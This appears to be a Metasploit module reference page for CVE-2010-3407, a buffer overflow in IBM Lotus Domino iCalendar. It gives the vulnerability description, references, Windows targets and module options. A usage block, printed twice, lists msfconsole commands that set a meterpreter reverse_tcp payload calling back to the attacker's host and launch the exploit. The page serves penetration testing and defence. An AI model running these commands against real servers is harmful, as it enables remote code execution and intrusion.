IBM Lotus Domino iCalendar MAILTO Buffer Overflow
This module exploits a vulnerability found in IBM Lotus Domino iCalendar. By sending a long string of data as the "ORGANIZER;mailto" header, process "nRouter.exe" crashes due to a Cstrcpy() routine in nnotes.dll, which allows remote attackers to gain arbitrary code execution. Note: In order to trigger the vulnerable code path, a valid Domino mailbox account is needed.
Exploit Rank
- Normal
Exploit Authors
- A. Plaskett < >
- sinn3r < sinn3r [at] metasploit.com >
Vulnerability References
- CVE-2010-3407
- OSVDB-68040
- http://www.zerodayinitiative.com/advisories/ZDI-10-177/
- http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_ove...
- http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515
Exploit Targets
- 0 - Lotus Domino 8.5 on Windows 2000 SP4
- 1 - Lotus Domino 8.5 on Windows Server 2003 SP0
- 2 - Lotus Domino 8.5 on Windows Server 2003 SP2 (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/lotus/domino_http_accept_language
- exploit/windows/lotus/domino_sametime_stmux
- exploit/windows/lotus/lotusnotes_lzh
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/lotus/domino_icalendar_organizer
msf exploit(domino_icalendar_organizer) > show payloads
msf exploit(domino_icalendar_organizer) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(domino_icalendar_organizer) > set LHOST [MY IP ADDRESS]
msf exploit(domino_icalendar_organizer) > set MAILFROM [STRING]
msf exploit(domino_icalendar_organizer) > set MAILTO [STRING]
msf exploit(domino_icalendar_organizer) > set RHOST [TARGET IP]
msf exploit(domino_icalendar_organizer) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/lotus/domino_icalendar_organizer
msf exploit(domino_icalendar_organizer) > show payloads
msf exploit(domino_icalendar_organizer) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(domino_icalendar_organizer) > set LHOST [MY IP ADDRESS]
msf exploit(domino_icalendar_organizer) > set MAILFROM [STRING]
msf exploit(domino_icalendar_organizer) > set MAILTO [STRING]
msf exploit(domino_icalendar_organizer) > set RHOST [TARGET IP]
msf exploit(domino_icalendar_organizer) > exploit
Exploit Module Options
| MAILFROM | Valid Lotus Domino mailbox account (default: ) |
| MAILTO | Valid Lotus Domino mailbox account (default: ) |
| RHOST | The target address |
| RPORT | The target port (default: 25) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
